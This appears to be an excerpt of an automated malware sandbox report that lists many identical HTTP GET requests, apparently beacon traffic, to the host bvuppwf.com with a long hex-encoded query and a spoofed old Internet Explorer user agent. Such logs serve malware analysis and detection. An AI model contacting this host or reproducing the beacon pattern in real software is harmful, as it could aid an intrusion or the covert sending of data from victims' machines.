Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1Host: bvuppwf.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
